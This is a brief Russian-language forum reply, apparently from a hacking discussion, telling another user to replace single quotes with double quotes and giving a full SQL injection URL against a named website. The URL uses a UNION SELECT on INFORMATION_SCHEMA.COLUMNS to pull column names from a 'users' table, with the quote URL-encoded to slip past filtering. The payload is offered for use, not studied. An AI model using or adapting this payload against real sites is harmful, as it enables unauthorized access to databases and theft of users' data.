2 Byrger
А ты кавычки ' замени на "

http://www.moviead.com/display.cfm?id=-1+union+select+1,2,3,COLUMN_NAME,5,6,7,8,9,10,11,1 2+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME =%22users%22+LIMIT+1,1--

типа так!